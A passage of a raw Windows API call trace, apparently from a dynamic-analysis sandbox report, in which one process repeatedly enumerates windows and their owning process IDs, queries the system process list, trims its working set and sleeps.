[0282.979] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.979] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0282.979] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0282.979] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0282.979] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0282.979] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0282.979] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0282.979] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0282.980] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0282.980] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0282.980] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0282.980] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0282.980] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0282.980] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0283.059] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0283.059] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0283.059] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0283.059] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0283.060] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0283.060] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0283.060] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0283.060] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0283.060] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0283.061] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0283.062] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0283.063] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0283.063] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0283.063] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0283.063] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0283.063] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0283.064] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0283.064] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0283.064] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0283.065] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0283.065] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0283.065] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0283.065] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0283.065] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0283.065] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0283.065] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0283.065] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0283.068] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0283.093] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0283.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11978) returned 0x0
[0283.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11978) returned 0x0
[0283.513] ResetEvent (hEvent=0x100) returned 1
[0284.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11978) returned 0x0
[0284.813] EnumWindows (lpEnumFunc=0x1b1a2b4c, lParam=0x0) returned 1
[0284.813] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0284.814] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0284.814] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0284.814] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0284.814] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.814] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0284.815] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.815] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.815] GetWindow (hWnd=0x300a8, uCmd=0x4) returned 0x102e0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0284.816] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0284.816] IsWindowVisible (hWnd=0x10320) returned 0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0284.816] IsWindowVisible (hWnd=0x1031c) returned 0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.816] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0284.816] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.817] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.817] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0284.817] IsWindowVisible (hWnd=0x102e0) returned 0
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.817] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0284.817] IsWindowVisible (hWnd=0x102e6) returned 0
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.817] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0284.817] IsWindowVisible (hWnd=0x102e2) returned 0
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.817] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0284.817] IsWindowVisible (hWnd=0x102de) returned 0
[0284.817] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0284.818] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0284.818] IsWindowVisible (hWnd=0x102dc) returned 0
[0284.818] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0284.818] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0284.818] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0284.818] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.818] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.819] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0284.819] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0284.819] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0284.820] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0284.820] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0284.820] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0284.820] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0284.821] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0284.821] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0284.821] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0284.821] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0284.821] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0284.821] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0284.821] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0284.821] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0284.821] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0284.821] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0284.822] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
